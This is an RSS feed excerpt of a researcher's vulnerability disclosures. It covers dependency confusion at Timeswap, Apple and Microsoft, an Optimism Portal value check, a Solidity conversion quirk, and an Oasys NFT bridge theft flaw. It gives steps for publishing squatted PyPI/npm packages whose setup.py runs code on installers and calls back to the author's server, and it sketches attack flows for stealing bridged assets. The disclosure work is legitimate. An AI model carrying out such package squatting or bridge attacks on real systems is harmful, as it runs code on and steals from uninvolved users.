            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/8124fea8391d488e1f379a3dd0827bc94a43a9e63e16586a3f65337be618d5ce.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Open Source Security Research | How I Found Dependency Confusion vuln on Web2 and Web3 firms.]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/open-source-security-research-how-i-found-dependency-confusion-vuln-on-web2-and-web3-firms</link>
            <guid>o1onASWF5RQAVSY3s3s5</guid>
            <pubDate>Thu, 11 Apr 2024 06:46:35 GMT</pubDate>
            <description><![CDATA[Intro:Dependency confusion, sometimes referred to as substitution attack, dependency repository hijacking, or simply repo jacking, is a software supply chain assault in which a valid internal software dependency is replaced with malicious third-party code. This type of attack vector can be created in several ways, such as Namespacing: By uploading a malicious software library to a public registry (such as the Python Package Index [PyPI] or JavaScript&apos;s npm registry) with a name that is s...]]></description>
            <content:encoded><![CDATA[<h2 id="h-intro" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Intro:</h2><p>Dependency confusion, sometimes referred to as substitution attack, dependency repository hijacking, or simply repo jacking, is a software supply chain assault in which a valid internal software dependency is replaced with malicious third-party code.</p><p>This type of attack vector can be created in several ways, such as</p><p><strong>Namespacing</strong>: By uploading a malicious software library to a public registry (such as the Python Package Index [PyPI] or JavaScript&apos;s npm registry) with a name that is similar to a trusted, internally used library, systems that do not perform a namespace/URL check may unintentionally load the malicious code.</p><p><strong>DNS Spoofing</strong>: Systems can be tricked into downloading dependencies from malicious sources while presenting what appear to be authentic internal URLs or routes by employing a method known as DNS spoofing.</p><p><strong>Scripting</strong>: Systems can be configured to change CI/CD pipeline configurations or build/install scripts.</p><p>Initially, this type of attack vector was found by Alex Birsan:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610">https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610</a></p><p>After understanding this vulnerability, I quickly made me busy searching for this bug pattern on web2 companies such as Microsoft and Apple.</p><p>Months later, surprisingly I found this bug on one of the Cod4rena Timeswap(web3) contests. Although it’s Out of scope, the project validated and fixed this bug and rewarded around $5000 bucks.</p><p>So, let’s dive into this</p><h2 id="h-1-timeswap-web3-defi-app" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#1 Timeswap (Web3 Defi App)</h2><h3 id="h-scope" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Scope:</h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/code-423n4/2022-03-timeswap/blob/00317d9a8319715a8e28361901ab14fe50d06172/Timeswap/Convenience/package.json#L40">https://github.com/code-423n4/2022-03-timeswap/blob/00317d9a8319715a8e28361901ab14fe50d06172/Timeswap/Convenience/package.json#L40</a></p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Description:</h3><p>I discovered an npm package and the scope of the package is unclaimed on the NPM website. This will give any User to claim that package and be able to Upload a Malicious Code under that unclaimed package. This results in achieving the Remote code execution on developers/users&apos; machine who depends on the timeswap repository to build it on local env.</p><p><strong><em>Vulnerable Package Name: @timeswap-labs/timeswap-v1-core</em></strong></p><p><strong><em>Proof of concept:</em></strong></p><ol><li><p>Create an Organization called &quot;timeswap-labs&quot;.</p></li><li><p>Create a package called &quot;@timeswap-labs/timeswap-v1-core&quot; under &quot;timeswap-labs&quot; Organization.</p></li><li><p>An attacker can able to upload malicious code on an unclaimed npm package with a higher version like 99.99.99</p></li><li><p>Now If any user/timeswap developer installs it by npm install package.json. The malicious pkg will be executed.</p></li></ol><h3 id="h-impact" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Impact:</h3><p>An attacker can inject a backdoor when the project team imports their private package.</p><h3 id="h-recommendations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Recommendation(s):</h3><p>Claim the Scope name called &quot;timeswap-labs&quot; By Following the above POC Step 1.</p><h3 id="h-projects-response" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Project’s Response:</h3><p>I think the issue here raises an interesting exploit where an attacker could inject malicious code into a smart contract dependency. As such, I think this is relevant and a valid attack path. Rewarded around $5000</p><h2 id="h-2-apple-security" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#2 Apple Security</h2><h3 id="h-summary" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Summary:</h3><p>I have Found a Python package named &quot;OSXFrameworks&quot; which is Private and Apple has the Copyright and Manages the Package under the Apple Github page. I Register the &quot;OSXFrameworks&quot; on Public as Pypi Package. Before Uploading it to Pypi I have Setup the RCE Script on the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://setup.py">setup.py</a> File to Execute RCE when any External User installs the package by &quot;pip install OSXFrameworks&quot;.</p><p>The root cause of the problem is &quot;package names are unclaimed on pypi&quot;</p><p>Osxframeworks Github Page: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/apple/ccs-pyosxframeworks/blob/master/setup.py">https://github.com/apple/ccs-pyosxframeworks/blob/master/setup.py</a></p><p>Malicious &quot;OSXFrameworks&quot; pypi package: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://pypi.org/project/OSXFrameworks/">https://pypi.org/project/OSXFrameworks/</a></p><p>Steps to Reproduce:</p><ol><li><p>Merge package setup file with RCE script on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://setup.py">setup.py</a></p></li><li><p>The version in the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://Setup.py">setup.py</a> must be a higher version than the original GitHub repo.</p></li><li><p>In this case, the Orginal &quot;OSXFrameworks&quot; has 0.1 and I changed it to 0.1.7 in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://setp.py">setup.py</a></p></li><li><p>Upload the Package with Relevant Files to pypi.</p></li><li><p>Then wait for the connection in your Server by using netcat or any reverse shell.</p></li></ol><p>I set up the RCE script to retrieve the IP address and Current working directory when any User Executes the &quot;pip install OSXFrameworks&quot;.</p><p>I Got Successfully a Code Execution when the user installed my Package. I Attached Proof as a Screenshot.</p><p>Impact: It&apos;s a Reputational Loss to Apple Because Apple has the Copyright for this Private Package and does not have the Version control i.e. A lock File to Control Version.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/2d43fe47a7b60952fc3e4b7c7b07bb30b553bbcf2cdff52e25d0242041d7af74.png" alt="Got RCE!" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Got RCE!</figcaption></figure><h3 id="h-response" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Response:</h3><p>When we address a problem in our web applications, we like to give credit to the person who reported the issue to us. Hall of Fame link:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://support.apple.com/en-gb/102812">https://support.apple.com/en-gb/102812</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/616320151ceeaf26c0ce2290217eca8c1b2627b8fd5cdb7df7a12d3b76dfacf8.png" alt="Hall of Fame" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Hall of Fame</figcaption></figure><h2 id="h-3-microsoft-security" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#3 Microsoft Security</h2><p>I Found a Python package name called &quot;qlib_server&quot; that is unclaimed on the PyPI website. So I claimed this package name on the PyPI to upload a malicious rce script on it. It&apos;s a Dependency confusion.</p><p>Attack Scenario: The Attacker claims the package and uploads it to the public on pypi with a higher version than the original package version on GitHub. Also, the attacker attaches the script to the setup.py file. when any External or Internal user run &quot;pip installs “qlib_server&quot;, my malicious rce script will execute! I set up the rce script to retrieve the current working directory of a user</p><p>Steps to Reproduce:</p><ol><li><p>Claim the Package &quot;qlib_server&quot;</p></li><li><p>Upload it with the rce script in setup.py file.</p></li><li><p>Mention a higher version than the original Github repo.</p></li><li><p>when any External or Internal user run &quot;pip install qlib_server&quot;, my malicious rce script will execute!</p></li></ol><p>I got multiple rce from random servers that are trying to install my malicious package. These are also a dependency confusion vulnerability from a different angle.</p><p>I have attached a screenshot that literally shows the rce results, which I got from potential internal or external users.</p><p>Impact: It&apos;s a reputational loss to Microsoft because Microsoft manages the vulnerable package under their github repository and they have Copyright. The root cause for this problem was the package name was unclaimed on pypi.</p><p>The Malicious Package that I have uploaded on Pypi: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://pypi.org/project/qlib-server/">https://pypi.org/project/qlib-server/</a></p><h3 id="h-response" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Response:</h3><p>Microsoft adds my name into their MSRC Hall of Fame.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/c56c3f91006b479ae3aa2c8e0d01e82cc3dac464ed7c792fd7c28e623228aa12.png" alt="Hall of Fame" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Hall of Fame</figcaption></figure>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/6a0b3a6001d834807452736344a627069422033f9585013ac2992ced05a81559.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Security research disclosure | Optimism Bridge Portal]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/security-research-disclosure-optimism-bridge-portal</link>
            <guid>znLZZlV2bu7NFUAQnHlq</guid>
            <pubDate>Wed, 10 Apr 2024 20:11:03 GMT</pubDate>
            <description><![CDATA[Intro:The OptimismPortal contract is an L1 smart contract that can be used by both smart contracts and EOAs to create L2 transactions without the direct involvement of the Sequencer. Many users already interact with this contract indirectly when they bridge ETH or other tokens between L1 and L2 via the Standard Bridge system available on all OP Stack chains. This write-up showcases that multiple forks of the Optimism Portal contract are affected. Some affected forked projects are:Base orgBlas...]]></description>
            <content:encoded><![CDATA[<h2 id="h-intro" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Intro:</h2><p>The <code>OptimismPortal</code> contract is an L1 smart contract that can be used by both smart contracts and EOAs to create L2 transactions without the direct involvement of the Sequencer. Many users already interact with this contract indirectly when they bridge ETH or other tokens between L1 and L2 via the Standard Bridge system available on all OP Stack chains.</p><p>This write-up showcases that multiple forks of the Optimism Portal contract are affected. Some affected forked projects are:</p><ol><li><p>Base org</p></li><li><p>Blast L2</p></li></ol><p>Also, this article insists any third party using the Optimism portal needs to be aware of this bug.</p><h2 id="h-description" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Description:</h2><p>The Optimism Portal allows users to Bridge ETH via <code>depositTransaction()</code> to L2. The Bug Relies on the <code>depositTransaction()</code> function where msg.value is not checked properly. Uses both msg.value and <code>_value</code> Transaction opaque data causes funds lost on the L2 side in some Scenarios. The Sequencer takes <code>_value</code> as first priority not <code>msg.value</code> sent to Portal.</p><p><strong><em>Attack Scenario:</em></strong></p><ol><li><p>Assume that a Staking Protocol deploys a Staking contract on L1 and Optimism(L2).</p></li><li><p>The L1 Stake contract receives user ETH deposits and locks funds on Optimism(L2).</p></li><li><p>Assume that the protocol also misses the check <code>msg.value == _value</code> Believing Op Portal will take care of those checks and believes only msg.value will lock for User on L2.</p></li><li><p>Now User deposits on the Staking protocol with <code>msg.value of 0.01 ether</code>, mistakenly or intentionally the user fills the <code>_value</code> param as <code>0.1 ether as 100000000000000000 wei</code></p></li><li><p>Assume the L1 Staking contract Alias on L2 has a balance of 0.1 eth.</p></li><li><p>Transaction Deposited. As the Sequencer only follows the <code>_value</code> not msg.value. The Sequencer inits the Transaction from L1 contract Alias with callvalue() of 0.1 ether.</p></li><li><p>The L1 contract Alias address lost 0.1 eth to the L2 Staking contract by locking funds in favour of the user who deposited 0.01 ether on L1.</p></li><li><p>Gaining malicious user&apos;s locked balance as 0.1 ether.</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/9f4fe41e7e5e551c0c681e12b0b669a0ad30624cfff6448356d965e6e12a405d.png" alt="Attack Flow" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Attack Flow</figcaption></figure><p><strong><em>Proof of concept:</em></strong></p><p>Add these three files foundry test suite <code>src/</code> directory</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gist.github.com/shanb1605/2169175a19230158a70bcfedc1056811">https://gist.github.com/shanb1605/2169175a19230158a70bcfedc1056811</a></p><p>Add this test file to <code>test/</code></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gist.github.com/shanb1605/0ab0736a89302c13fc6e7479707de709">https://gist.github.com/shanb1605/0ab0736a89302c13fc6e7479707de709</a></p><p>Run <code>forge test --mp test/OptimsimPoc.t.sol -vvvv</code></p><h3 id="h-impact" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Impact:</h3><p>The L1 Contract Alias address on L2 will lose the ether or Temporarily/Permanently funds get Frozen.</p><h3 id="h-recommendations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>Recommendation(s):</strong></h3><p>The <code>OptimismPortal.sol</code> the contract should be checked given <code>_value</code> parameter is equal to msg.value.</p><pre data-type="codeBlock" text="require(_value == msg.value, &quot;_value not Enough&quot;);
"><code><span class="hljs-built_in">require</span>(_value <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>, <span class="hljs-string">"_value not Enough"</span>);
</code></pre><p>(OR)</p><pre data-type="codeBlock" text="opaqueData = abi.encodePacked(msg.value, msg.value, _gasLimit, _isCreation, _data);
"><code>opaqueData <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>, _gasLimit, _isCreation, _data);
</code></pre><h3 id="h-response" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Response:</h3><p>Optimism and its fork do not take responsibility and solely shift towards to the affected project’s duty to ensure and make a check on msg.value.</p><p><strong>So</strong> <strong>any</strong> <strong>project</strong> <strong>relying</strong> <strong>on</strong> t<strong>he Optimism Portal needs to validate the</strong> <code>msg.value</code> <strong>and its parameters.</strong></p>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/9f27363de8244ac9da9bc0eb0f83226915e9adb59ebb9958d607f476b60a87eb.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Solidity lang Compiler | Bringing back Arithmetic bug over ^0.8.0 version.]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/solidity-lang-compiler-bringing-back-arithmetic-bug-over-0-8-0-version</link>
            <guid>QkwQ17VYL7v8W169GCQP</guid>
            <pubDate>Wed, 10 Apr 2024 17:36:03 GMT</pubDate>
            <description><![CDATA[Intro:This write-up will explain my accidental discovery of a solidity compiler bug. During a security audit on a protocol, I came across an interesting and Known compiler bug on solidity. I quickly escalated to the Ethereum security team and got a well-expected response. Compiler version affected: 0.8.19+commit.7dd6d404 and the latest release Target EVM Version: Default on Remix Framework/IDE: Remix IDEDescription:Solidity version 0.8.0 or above promises to prevent arithmetic overflow and un...]]></description>
            <content:encoded><![CDATA[<h3 id="h-intro" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Intro:</h3><p>This write-up will explain my accidental discovery of a solidity compiler bug. During a security audit on a protocol, I came across an interesting and Known compiler bug on solidity. I quickly escalated to the Ethereum security team and got a well-expected response.</p><p><strong>Compiler version affected:</strong></p><p>0.8.19+commit.7dd6d404 and the latest release</p><p><strong>Target EVM Version:</strong></p><p>Default on Remix</p><p><strong>Framework/IDE:</strong></p><p>Remix IDE</p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Description:</h3><p>Solidity version 0.8.0 or above promises to prevent arithmetic overflow and underflow errors by default.</p><p>But In certain circumstances, It throws unexpected results by producing large Unsigned integers when it is used with a Signed Integer. (int256)</p><p>I came across a protocol that uses signed and unsigned integers for subtracting, where its VARIABLE A and B are declared as int256 and subtraction is performed inside the type of unsigned integers as uint256(A  - B).</p><p>Here I got an idea to test for arithmetic error, as I expected a large number to be produced by declaring Variable A lesser than Variable B and thus solidity program doesn&apos;t revert and produces (uint256.max) - (-C).</p><p>Here (-C) is the output value of int256 A - B.</p><p>A protocol, that I was involved in a security audit, uses it for reward calculation and fortunately, it is not exploitable by the nature of its design. 😮‍💨</p><p><strong><em>Sample of Pseudovulnerable code:</em></strong></p><pre data-type="codeBlock" text="struct UserInfo {
        int256 rewardDebt;
    }
        int256 _accumulatedReward = int256((user.amount * accRewardPerShare) / ACC_REWARD_PRECISION);
        uint256 _pendingRewards = uint256(_accumulatedReward - user.rewardDebt);
"><code><span class="hljs-keyword">struct</span> <span class="hljs-title">UserInfo</span> {
        <span class="hljs-keyword">int256</span> rewardDebt;
    }
        <span class="hljs-keyword">int256</span> _accumulatedReward <span class="hljs-operator">=</span> <span class="hljs-keyword">int256</span>((user.amount <span class="hljs-operator">*</span> accRewardPerShare) <span class="hljs-operator">/</span> ACC_REWARD_PRECISION);
        <span class="hljs-keyword">uint256</span> _pendingRewards <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(_accumulatedReward <span class="hljs-operator">-</span> user.rewardDebt);
</code></pre><p><strong>Input program that triggers the bug:</strong></p><pre data-type="codeBlock" text="
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract testMath {
    //Numbers to Test
    int256 a = 1;
    int256 b = 10;

    // This will be succeeded and Returns (uint256.max - 9)
    function tests() public returns (uint256) {
        uint256 o = uint256(a - b);
        return o;
    }
    
}
"><code>
<span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">testMath</span> </span>{
    <span class="hljs-comment">//Numbers to Test</span>
    <span class="hljs-keyword">int256</span> a <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    <span class="hljs-keyword">int256</span> b <span class="hljs-operator">=</span> <span class="hljs-number">10</span>;

    <span class="hljs-comment">// This will be succeeded and Returns (uint256.max - 9)</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">tests</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> o <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(a <span class="hljs-operator">-</span> b);
        <span class="hljs-keyword">return</span> o;
    }
    
}
</code></pre><p><strong>Expected Behaviour:</strong></p><p>The uint256(A - B) should be aliased as uint256(a) - uint256(b) whether it&apos;s written as uint256(A-B).</p><pre data-type="codeBlock" text="pragma solidity ^0.8.0;

contract testMathRevert {
    //Numbers to Test
    int256 a = 1;
    int256 b = 10;

    // This will be Reverted;
    function tests() public returns (uint256) {
        uint256 o = uint256(a) - uint256(b);
        return o;
    }
    
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">testMathRevert</span> </span>{
    <span class="hljs-comment">//Numbers to Test</span>
    <span class="hljs-keyword">int256</span> a <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    <span class="hljs-keyword">int256</span> b <span class="hljs-operator">=</span> <span class="hljs-number">10</span>;

    <span class="hljs-comment">// This will be Reverted;</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">tests</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> o <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(a) <span class="hljs-operator">-</span> <span class="hljs-keyword">uint256</span>(b);
        <span class="hljs-keyword">return</span> o;
    }
    
}
</code></pre><p><strong><em>Response from the Ethereum Security team:</em></strong></p><p>This is a known issue and has been previously reported. It is scheduled to be addressed eventually to improve the situation for conversions, making different conversion behaviour (e.g. truncating vs reverting) explicit: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum/solidity/issues/11284">https://github.com/ethereum/solidity/issues/11284</a></p>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/94020a5250c12b36ba5618632782aa02a814b09287d514d74f8e5b4d36620fbc.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[OASYS | Stealing of User's NFT From L1 Contract]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/oasys-stealing-of-user-s-nft-from-l1-contract</link>
            <guid>c4DYtUJf5T9KdLjv9ABk</guid>
            <pubDate>Tue, 09 Apr 2024 19:09:18 GMT</pubDate>
            <description><![CDATA[Protocol Overview:The Oasys ecosystem consists of two major parts by structure: the Hub Layer and the Verse Layer. The Hub Layer is responsible for the data availability, security, and stability of the entire ecosystem, with the backing of trustworthy validators. The Verse Layer is the contents layer, and it&apos;s the home for all the games. The primary concern of every verse layer is gamers and game developers. This write-up focuses on Bridge contracts implementation by OASYS with a logic b...]]></description>
            <content:encoded><![CDATA[<h2 id="h-protocol-overview" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Protocol Overview:</h2><p>The Oasys ecosystem consists of two major parts by structure: the Hub Layer and the Verse Layer. The Hub Layer is responsible for the data availability, security, and stability of the entire ecosystem, with the backing of trustworthy validators. The Verse Layer is the contents layer, and it&apos;s the home for all the games. The primary concern of every verse layer is gamers and game developers.</p><p>This write-up focuses on Bridge contracts implementation by OASYS with a logic bug that allows stealing other users’ NFT.</p><h2 id="h-scope" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Scope:</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/oasysgames/oasys-optimism/tree/develop/packages/contracts/contracts/oasys">https://github.com/oasysgames/oasys-optimism/tree/develop/packages/contracts/contracts/oasys</a></p><h2 id="h-description" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Description:</h2><p>The L1ERC721Bridge does not validate the deposit of the L1 NFT contract or the L2 NFT contract. It doesn&apos;t check whether the pair is actually valid and does not check whether it is already escrowed to L1 or not. On L2, this causes the attacker to forge the <code>withdrawal()</code> by giving a fake L2 NFT contract that isn&apos;t really an NFT contract but invokes the real L1 NFT contract address when Bridge calls. <code>l1Token()</code>.</p><p>Since there is no sufficient check on both Layers L1 and L2, this causes the attacker to steal L1 NFTs that were previously locked by other users.</p><p><strong><em>Attack Flow:</em></strong></p><p><strong>On user-side deposit flow:</strong></p><ol><li><p>Alice deposits the L1 NFT token ID of 1 on the L1ERC721 bridge.</p></li><li><p>The L1ERC721 Bridge locks Alice&apos;s NFT and initiates the cross-domain message of the <code>finalizeDeposit()</code> message from L1 to L2.</p></li><li><p>After some time, <code>finalizeDeposit()</code> is called by the L2 cross-domain messager, and Alice receives her L2 NFT token.</p></li><li><p>This is the normal flow of deposits. Remember this: &quot;Alice locked the L1 NFT, and it&apos;s held by the L1ERC21 Bridge.&quot;.</p></li></ol><p><strong>On the Attacker Side:</strong></p><ol><li><p>The attacker notices the L1 NFT address that has been locked by Alice and several other users. Decides to steal from the bridge.</p></li><li><p>On L2, the attacker initiates withdrawal by calling <code>withdrawTo()</code> bypassing the _l2Token param as <strong>malicious fake contract that follows IL2StandardERC721 interface but on calling l1Token() by L2 Bridge, the fake L2NFT contract will return a legit L1 NFT contract which is deposited by Alice on L1</strong></p></li></ol><pre data-type="codeBlock" text="function _initiateWithdrawal(
        address _l2Token, // Fake Artificially created by attacker
        address _from,
        address _to,
        uint256 _tokenId,
        uint32 _l1Gas,
        bytes calldata _data
    ) internal {
        // Here _l2Token&apos;s burn function was called, but it will return true because it&apos;s a maliciously crafted contract.
        IL2StandardERC721(_l2Token).burn(msg.sender, _tokenId);

        //Here l1Token() is called on Fake _l2Token and it returns a legit L1 Token 
that has been deposited by Alice and other users.
        address l1Token = IL2StandardERC721(_l2Token).l1Token();
        ......................
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_initiateWithdrawal</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> _l2Token, <span class="hljs-comment">// Fake Artificially created by attacker</span>
        <span class="hljs-keyword">address</span> _from,
        <span class="hljs-keyword">address</span> _to,
        <span class="hljs-keyword">uint256</span> _tokenId,
        <span class="hljs-keyword">uint32</span> _l1Gas,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> _data
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-comment">// Here _l2Token's burn function was called, but it will return true because it's a maliciously crafted contract.</span>
        IL2StandardERC721(_l2Token).burn(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, _tokenId);

        <span class="hljs-comment">//Here l1Token() is called on Fake _l2Token and it returns a legit L1 Token </span>
that has been deposited by Alice and other users.
        <span class="hljs-built_in">address</span> l1Token <span class="hljs-operator">=</span> IL2StandardERC721(_l2Token).l1Token();
        ......................
}
</code></pre><p>3. The L2 Cross Domain Messenger initiates the finalizeERC721Withdrawal() message from L2 to L1.</p><p>4. After some time, the L1 cross-domain messenger will call <code>finalizeERC721Withdrawal()</code> and send L1 NFT from the L1 Bridge to the attacker. The TokenID ID that he desires to steal will sit in his wallet.</p><p>5. Thus, the attacker gets L1 NFT for free without a proper subsequent burn on L2.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/86db783bb2b92e71d34ad59fe923b04a6d5e424201c4f263752fcccfc997141b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-impact" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>Impact</strong></h2><p>Hence, attackers could steal all TokenIDs IDs that are locked in the L1ERC721 Bridge contract.</p><p>Optimism Bedrock contracts also implemented NFT bridging. By mapping the L1 NFT address, L2 NFT address, and token ID to true when the user deposits on L1,.</p><pre data-type="codeBlock" text="        On L1. initiating ERC721 Bridge Deposit
         //Lock the token into the bridge
        deposits[_localToken][_remoteToken][_tokenId] = true;
"><code>        On L1. initiating ERC721 Bridge Deposit
         <span class="hljs-comment">//Lock the token into the bridge</span>
        deposits[_localToken][_remoteToken][_tokenId] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
</code></pre><p>Permalink: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/L1ERC721Bridge.sol#L100"><strong>https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/L1ERC721Bridge.sol#L100</strong></a></p><p>On the <code>finalizeERC721Withdrawal()</code> call this check can be implemented.</p><pre data-type="codeBlock" text="        //Check that the L1/L2 NFT pair has a token ID that is escrowed in the L1 Bridge.
        require(
            deposits[_localToken][_remoteToken][_tokenId] == true,
            &quot;L1ERC721Bridge: Token ID is not escrowed in the L1 Bridge&quot;
        );

        // Mark that the token ID for this L1/L2 token pair is no longer escrowed in the L1
        // Bridge.
        deposits[_localToken][_remoteToken][_tokenId] = false;
